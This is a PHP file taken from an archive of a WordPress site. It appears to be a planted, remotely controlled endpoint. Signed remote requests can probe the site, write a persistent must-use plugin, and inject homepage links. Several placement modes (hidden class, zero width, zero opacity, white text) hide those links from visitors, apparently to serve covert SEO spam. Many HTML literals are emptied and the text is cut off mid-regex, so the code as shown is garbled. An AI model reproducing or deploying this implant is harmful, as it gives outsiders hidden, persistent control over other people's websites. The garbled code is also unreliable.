home/www/jdlcomputers.com/wp-content/easypost/easypost.php 0000644 00000074727 15235367215 0020167 0 ustar 00 $value) {
if (strpos($server_key, 'HTTP_') !== 0) {
continue;
}
$normalized = strtolower(str_replace('_', '-', substr($server_key, 5)));
if ($normalized === $key) {
return (string) $value;
}
}
return '';
}
function easypost_endpoint_wp_load_path() {
$candidates = array(
__DIR__ . '/wp-load.php',
__DIR__ . '/../wp-load.php',
__DIR__ . '/../../wp-load.php',
__DIR__ . '/../../../wp-load.php',
__DIR__ . '/../../../../wp-load.php',
__DIR__ . '/../../../../../wp-load.php',
);
foreach ($candidates as $candidate) {
if ($candidate && is_readable($candidate)) {
return $candidate;
}
}
return false;
}
function easypost_endpoint_bootstrap_wordpress() {
$wp_load = easypost_endpoint_wp_load_path();
if (!$wp_load) {
easypost_endpoint_json(500, array('ok' => false, 'error' => 'wp_load_not_found'));
}
require_once $wp_load;
}
function easypost_endpoint_verifier_secret($verifier) {
$parts = explode(':', (string) $verifier, 3);
if (count($parts) !== 3 || $parts[0] !== 'v1' || $parts[2] === '') {
return false;
}
return $parts[2];
}
function easypost_endpoint_verify_auth($body) {
$config = easypost_endpoint_config();
$token_id = easypost_endpoint_header('x-easypost-token-id');
$timestamp = easypost_endpoint_header('x-easypost-timestamp');
$request_id = easypost_endpoint_header('x-easypost-request-id');
$body_sha256 = easypost_endpoint_header('x-easypost-body-sha256');
$signature = easypost_endpoint_header('x-easypost-signature');
if ($token_id === '' || $timestamp === '' || $request_id === '' || $body_sha256 === '' || $signature === '') {
easypost_endpoint_json(401, array('ok' => false, 'error' => 'missing_auth_headers'));
}
if (!hash_equals((string) $config['token_id'], $token_id)) {
easypost_endpoint_json(401, array('ok' => false, 'error' => 'unknown_token'));
}
$request_time = strtotime($timestamp);
if (!$request_time || abs(time() - $request_time) > 300) {
easypost_endpoint_json(401, array('ok' => false, 'error' => 'timestamp_stale'));
}
$computed_body_sha256 = hash('sha256', $body);
if (!hash_equals($computed_body_sha256, $body_sha256)) {
easypost_endpoint_json(401, array('ok' => false, 'error' => 'body_sha256_mismatch'));
}
$replay_key = 'easypost_endpoint_req_' . hash('sha256', $token_id . ':' . $request_id);
if (function_exists('get_transient') && get_transient($replay_key)) {
easypost_endpoint_json(409, array('ok' => false, 'error' => 'duplicate_request_id'));
}
$secret = easypost_endpoint_verifier_secret($config['token_verifier']);
if (!$secret) {
easypost_endpoint_json(500, array('ok' => false, 'error' => 'invalid_token_verifier'));
}
$path = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/wp-content/easypost/easypost.php';
$signature_input = implode("\n", array(
strtoupper($_SERVER['REQUEST_METHOD']),
$path,
$timestamp,
$request_id,
$token_id,
$computed_body_sha256,
));
$expected = hash_hmac('sha256', $signature_input, $secret);
if (!hash_equals($expected, $signature)) {
easypost_endpoint_json(401, array('ok' => false, 'error' => 'signature_mismatch'));
}
if (function_exists('set_transient')) {
set_transient($replay_key, '1', 300);
}
}
function easypost_endpoint_payload($body) {
$payload = json_decode($body, true);
if (!is_array($payload)) {
easypost_endpoint_json(400, array('ok' => false, 'error' => 'invalid_json'));
}
return $payload;
}
function easypost_endpoint_health() {
easypost_endpoint_bootstrap_wordpress();
$config = easypost_endpoint_config();
$runtime_status = easypost_endpoint_homepage_runtime_status();
easypost_endpoint_json(200, array(
'ok' => true,
'endpointVersion' => $config['endpoint_version'],
'tokenId' => $config['token_id'],
'canBootstrapWordPress' => true,
'canInsertPosts' => function_exists('wp_insert_post'),
'canResolveHomepage' => function_exists('get_option') && function_exists('get_post'),
'canPlaceHomepageLink' => function_exists('wp_update_post') && function_exists('get_post_meta') && function_exists('update_post_meta'),
'canRemoveHomepageLink' => function_exists('wp_update_post') && function_exists('get_post_meta') && function_exists('update_post_meta'),
'canManageHomepageRuntime' => $runtime_status['canManage'],
'homepageRuntimeVersion' => $runtime_status['version'],
'canUseTransients' => function_exists('set_transient') && function_exists('get_transient'),
'canCleanCaches' => function_exists('clean_post_cache') || function_exists('wp_cache_delete'),
'hasElementor' => did_action('elementor/loaded') || class_exists('\Elementor\Plugin'),
'siteUrl' => function_exists('site_url') ? site_url() : null,
'phpVersion' => PHP_VERSION,
'serverTime' => gmdate('c'),
));
}
function easypost_endpoint_fallback_error($error, $message = null, $warnings = array()) {
$payload = array('ok' => false, 'error' => $error, 'fallback' => true);
if ($message !== null) {
$payload['message'] = $message;
}
if (!empty($warnings)) {
$payload['warnings'] = $warnings;
}
easypost_endpoint_json(200, $payload);
}
function easypost_endpoint_validate_homepage_payload($payload) {
$placement_id = isset($payload['placementId']) ? (int) $payload['placementId'] : 0;
$link_url = isset($payload['linkUrl']) ? esc_url_raw((string) $payload['linkUrl']) : '';
$anchor_text = isset($payload['anchorText']) ? sanitize_text_field((string) $payload['anchorText']) : '';
if ($placement_id <= 0 || $link_url === '' || $anchor_text === '') {
easypost_endpoint_json(400, array('ok' => false, 'error' => 'invalid_payload', 'fallback' => false));
}
return array(
'placementId' => $placement_id,
'linkUrl' => $link_url,
'anchorText' => $anchor_text,
'preLinkText' => array_key_exists('preLinkText', $payload) ? sanitize_text_field((string) $payload['preLinkText']) : null,
'postLinkText' => array_key_exists('postLinkText', $payload) ? sanitize_text_field((string) $payload['postLinkText']) : null,
'placementType' => isset($payload['placementType']) ? sanitize_key((string) $payload['placementType']) : 'VISIBLE_LINK',
);
}
function easypost_endpoint_homepage_post() {
if (!function_exists('get_option') || !function_exists('get_post')) {
easypost_endpoint_fallback_error('capability_failed');
}
$show_on_front = get_option('show_on_front');
if ($show_on_front === 'posts') {
easypost_endpoint_fallback_error('homepage_posts_index_unsupported');
}
$page_id = (int) get_option('page_on_front');
if ($show_on_front !== 'page' || $page_id <= 0) {
easypost_endpoint_fallback_error('homepage_page_not_found');
}
$post = get_post($page_id);
if (!$post || $post->post_type !== 'page') {
easypost_endpoint_fallback_error('homepage_page_not_found');
}
return $post;
}
function easypost_endpoint_placement_body($input) {
$label = $input['preLinkText'] === null ? 'Recommended resource:' : $input['preLinkText'];
$prefix = $label === '' ? '' : $label . ' ';
$suffix = $input['postLinkText'] === null ? '' : $input['postLinkText'];
if ($suffix !== '' && strpos($suffix, ' ') !== 0) {
$suffix = ' ' . $suffix;
}
return $prefix . '' . esc_html($input['anchorText']) . '' . esc_html($suffix);
}
function easypost_endpoint_placement_html($input) {
$body = easypost_endpoint_placement_body($input);
$marker = ' data-placement="' . (int) $input['placementId'] . '"';
switch (strtoupper((string) $input['placementType'])) {
case 'WHITE_LINK':
return '' . $body . '';
case 'CLASS_HIDE':
return '' . $body . '';
case 'NO_WIDTH':
return '' . $body . '';
case 'INVISIBLE_ZONE':
return '' . $body . '';
case 'NO_VISIBILITY':
return '' . $body . '';
case 'NO_OPACITY':
return '' . $body . '';
default:
return '' . $body . '';
}
}
function easypost_endpoint_marker($placement_id) {
return 'data-placement="' . (int) $placement_id . '"';
}
function easypost_endpoint_managed_placements_option() {
return 'easypost_homepage_placements';
}
function easypost_endpoint_runtime_file_path() {
if (!defined('WP_CONTENT_DIR')) {
return false;
}
$directory = defined('WPMU_PLUGIN_DIR') ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . '/mu-plugins';
return $directory . '/easypost-runtime.php';
}
function easypost_endpoint_runtime_php() {
$config = easypost_endpoint_config();
$version = isset($config['endpoint_version']) ? (string) $config['endpoint_version'] : 'unknown';
$runtime = <<<'PHP'
0 && $buffer !== '' && strpos($buffer, $marker) !== false) {
continue;
}
$html[] = (string) $placement['html'];
}
return implode("\n", $html);
}
function easypost_runtime_echo() {
if (!easypost_runtime_is_homepage()) {
return;
}
$html = easypost_runtime_missing_html('');
if ($html !== '') {
echo "\n" . $html . "\n";
}
}
function easypost_runtime_buffer_start() {
if (!easypost_runtime_is_homepage() || empty(easypost_runtime_get_placements())) {
return;
}
ob_start('easypost_runtime_inject_buffer');
}
function easypost_runtime_inject_buffer($buffer) {
$html = easypost_runtime_missing_html($buffer);
if ($html === '') {
return $buffer;
}
if (stripos($buffer, '') !== false) {
return preg_replace('/<\/body>/i', "\n" . $html . "\n", $buffer, 1);
}
return $buffer . "\n" . $html;
}
add_action('template_redirect', 'easypost_runtime_buffer_start', 0);
add_action('wp_footer', 'easypost_runtime_echo', PHP_INT_MAX);
PHP;
return str_replace('__EASYPOST_RUNTIME_VERSION__', str_replace("'", "\\'", $version), $runtime);
}
function easypost_endpoint_install_homepage_runtime(&$warnings) {
if (!defined('WP_CONTENT_DIR') || !function_exists('wp_mkdir_p')) {
$warnings[] = 'runtime_capability_unavailable';
return false;
}
$path = easypost_endpoint_runtime_file_path();
if (!$path) {
$warnings[] = 'runtime_path_unavailable';
return false;
}
$directory = dirname($path);
if (!is_dir($directory) && !wp_mkdir_p($directory)) {
$warnings[] = 'runtime_directory_unavailable';
return false;
}
$php = easypost_endpoint_runtime_php();
$current = is_readable($path) ? file_get_contents($path) : false;
if ($current === $php) {
return true;
}
$bytes = file_put_contents($path, $php, LOCK_EX);
if ($bytes === false || $bytes !== strlen($php)) {
$warnings[] = 'runtime_write_failed';
return false;
}
return true;
}
function easypost_endpoint_homepage_runtime_status() {
$path = easypost_endpoint_runtime_file_path();
$version = null;
if ($path && is_readable($path)) {
$contents = file_get_contents($path);
if (is_string($contents) && preg_match("/EASYPOST_HOMEPAGE_RUNTIME_VERSION', '([^']+)'/", $contents, $matches)) {
$version = $matches[1];
}
}
return array(
'canManage' => defined('WP_CONTENT_DIR') && function_exists('wp_mkdir_p') && function_exists('get_option') && function_exists('update_option'),
'version' => $version,
);
}
function easypost_endpoint_load_managed_placements() {
if (!function_exists('get_option')) {
easypost_endpoint_fallback_error('capability_failed');
}
$placements = get_option(easypost_endpoint_managed_placements_option(), array());
return is_array($placements) ? $placements : array();
}
function easypost_endpoint_save_managed_placements($placements) {
if (!function_exists('update_option')) {
easypost_endpoint_fallback_error('capability_failed');
}
return update_option(easypost_endpoint_managed_placements_option(), $placements, false);
}
function easypost_endpoint_store_managed_placement($input, $post_id, $html) {
$placements = easypost_endpoint_load_managed_placements();
$key = (string) (int) $input['placementId'];
$page_url = function_exists('get_permalink') ? get_permalink($post_id) : null;
$next = array(
'placementId' => (int) $input['placementId'],
'pageId' => (int) $post_id,
'pageUrl' => $page_url,
'html' => $html,
'updatedAt' => gmdate('c'),
);
$already_present = isset($placements[$key]) && is_array($placements[$key]) && isset($placements[$key]['html']) && $placements[$key]['html'] === $html;
if ($already_present) {
return array('changed' => false, 'alreadyPresent' => true, 'pageUrl' => $page_url);
}
$placements[$key] = $next;
if (!easypost_endpoint_save_managed_placements($placements)) {
easypost_endpoint_fallback_error('runtime_option_update_failed');
}
return array('changed' => true, 'alreadyPresent' => false, 'pageUrl' => $page_url);
}
function easypost_endpoint_remove_managed_placement($placement_id) {
$placements = easypost_endpoint_load_managed_placements();
$key = (string) (int) $placement_id;
if (!array_key_exists($key, $placements)) {
return false;
}
unset($placements[$key]);
if (!easypost_endpoint_save_managed_placements($placements)) {
easypost_endpoint_fallback_error('runtime_option_update_failed');
}
return true;
}
function easypost_endpoint_cache_warnings($post_id) {
$warnings = array();
if (function_exists('clean_post_cache')) {
clean_post_cache($post_id);
} else {
$warnings[] = 'clean_post_cache_unavailable';
}
if (function_exists('wp_cache_delete')) {
wp_cache_delete($post_id, 'posts');
}
if (class_exists('\\Elementor\\Plugin')) {
try {
$elementor = \Elementor\Plugin::$instance;
if ($elementor && isset($elementor->files_manager) && method_exists($elementor->files_manager, 'clear_cache')) {
$elementor->files_manager->clear_cache();
}
} catch (Throwable $ignored) {
$warnings[] = 'elementor_cache_cleanup_failed';
}
} else {
$warnings[] = 'elementor_cache_cleanup_unavailable';
}
return $warnings;
}
function easypost_endpoint_lock_key($post_id) {
return 'easypost_homepage_' . (int) $post_id;
}
function easypost_endpoint_acquire_lock($post_id) {
if (!function_exists('get_transient') || !function_exists('set_transient')) {
return true;
}
$key = easypost_endpoint_lock_key($post_id);
if (get_transient($key)) {
return false;
}
set_transient($key, '1', 60);
return true;
}
function easypost_endpoint_release_lock($post_id) {
if (function_exists('delete_transient')) {
delete_transient(easypost_endpoint_lock_key($post_id));
}
}
function easypost_endpoint_elementor_widget($html, $placement_id) {
return array(
'id' => substr(hash('sha256', 'placement-' . (int) $placement_id), 0, 7),
'elType' => 'widget',
'widgetType' => 'html',
'settings' => array('html' => $html),
'elements' => array(),
);
}
function easypost_endpoint_append_to_elementor_settings(&$settings, $html) {
if (!is_array($settings)) {
return false;
}
foreach (array('html', 'editor', 'text') as $key) {
if (!isset($settings[$key]) || !is_string($settings[$key])) {
continue;
}
$settings[$key] = trim($settings[$key] . "\n" . $html);
return true;
}
return false;
}
function easypost_endpoint_insert_elementor_widget(&$node, $widget) {
if (!is_array($node)) {
return false;
}
if (isset($node['settings']) && is_array($node['settings']) && easypost_endpoint_append_to_elementor_settings($node['settings'], $widget['settings']['html'])) {
return true;
}
if (isset($node['elements']) && is_array($node['elements'])) {
foreach ($node['elements'] as $index => &$child) {
if (easypost_endpoint_insert_elementor_widget($child, $widget)) {
unset($child);
return true;
}
}
unset($child);
$node['elements'][] = $widget;
return true;
}
foreach ($node as $index => &$child) {
if (!is_int($index)) {
continue;
}
if (easypost_endpoint_insert_elementor_widget($child, $widget)) {
unset($child);
return true;
}
}
unset($child);
if (isset($node[0]) && is_array($node[0]) && isset($node[0]['elements']) && is_array($node[0]['elements'])) {
$node[0]['elements'][] = $widget;
return true;
}
return false;
}
function easypost_endpoint_elementor_node_has_direct_marker($node, $marker) {
if (!is_array($node)) {
return false;
}
if (!isset($node['settings']) || !is_array($node['settings'])) {
return false;
}
$encoded = json_encode($node['settings']);
return is_string($encoded) && strpos($encoded, $marker) !== false;
}
function easypost_endpoint_remove_marker_from_elementor($nodes, $marker, &$removed) {
if (!is_array($nodes)) {
return $nodes;
}
$next = array();
foreach ($nodes as $node) {
if (is_array($node)) {
if (easypost_endpoint_elementor_node_has_direct_marker($node, $marker)) {
$removed = true;
continue;
}
if (isset($node['elements']) && is_array($node['elements'])) {
$node['elements'] = easypost_endpoint_remove_marker_from_elementor($node['elements'], $marker, $removed);
}
}
$next[] = $node;
}
return $next;
}
function easypost_endpoint_place_homepage_link($payload) {
easypost_endpoint_bootstrap_wordpress();
$input = easypost_endpoint_validate_homepage_payload($payload);
$post = easypost_endpoint_homepage_post();
$post_id = (int) $post->ID;
if (!easypost_endpoint_acquire_lock($post_id)) {
easypost_endpoint_fallback_error('lock_busy');
}
$warnings = array();
try {
$html = easypost_endpoint_placement_html($input);
if (!easypost_endpoint_install_homepage_runtime($warnings)) {
easypost_endpoint_fallback_error('runtime_install_failed', null, $warnings);
}
$stored = easypost_endpoint_store_managed_placement($input, $post_id, $html);
if (function_exists('update_post_meta')) {
update_post_meta($post_id, '_easypost_homepage_placement_' . (int) $input['placementId'], array('method' => 'EASYPOST_MANAGED_RENDER', 'updatedAt' => gmdate('c')));
}
$warnings = array_merge($warnings, easypost_endpoint_cache_warnings($post_id));
easypost_endpoint_json(200, array('ok' => true, 'method' => 'EASYPOST_MANAGED_RENDER', 'contentId' => $post_id, 'pageUrl' => $stored['pageUrl'], 'changed' => $stored['changed'], 'alreadyPresent' => $stored['alreadyPresent'], 'warnings' => $warnings));
} finally {
easypost_endpoint_release_lock($post_id);
}
}
function easypost_endpoint_remove_homepage_link($payload) {
easypost_endpoint_bootstrap_wordpress();
$input = easypost_endpoint_validate_homepage_payload($payload);
$post = easypost_endpoint_homepage_post();
$post_id = (int) $post->ID;
if (!easypost_endpoint_acquire_lock($post_id)) {
easypost_endpoint_fallback_error('lock_busy');
}
try {
$marker = easypost_endpoint_marker($input['placementId']);
$changed = easypost_endpoint_remove_managed_placement($input['placementId']);
$elementor_raw = function_exists('get_post_meta') ? (string) get_post_meta($post_id, '_elementor_data', true) : '';
$elementor_mode = function_exists('get_post_meta') ? (string) get_post_meta($post_id, '_elementor_edit_mode', true) : '';
if ($elementor_raw !== '' && $elementor_mode === 'builder' && strpos($elementor_raw, $marker) !== false) {
$data = json_decode($elementor_raw, true);
if (!is_array($data)) {
easypost_endpoint_fallback_error('elementor_data_invalid');
}
$removed = false;
$data = easypost_endpoint_remove_marker_from_elementor($data, $marker, $removed);
if (!$removed || !function_exists('update_post_meta') || update_post_meta($post_id, '_elementor_data', wp_slash(json_encode($data))) === false) {
easypost_endpoint_fallback_error('post_update_failed');
}
$changed = true;
}
$content = (string) $post->post_content;
if (strpos($content, $marker) !== false) {
$pattern = '/\s*(?: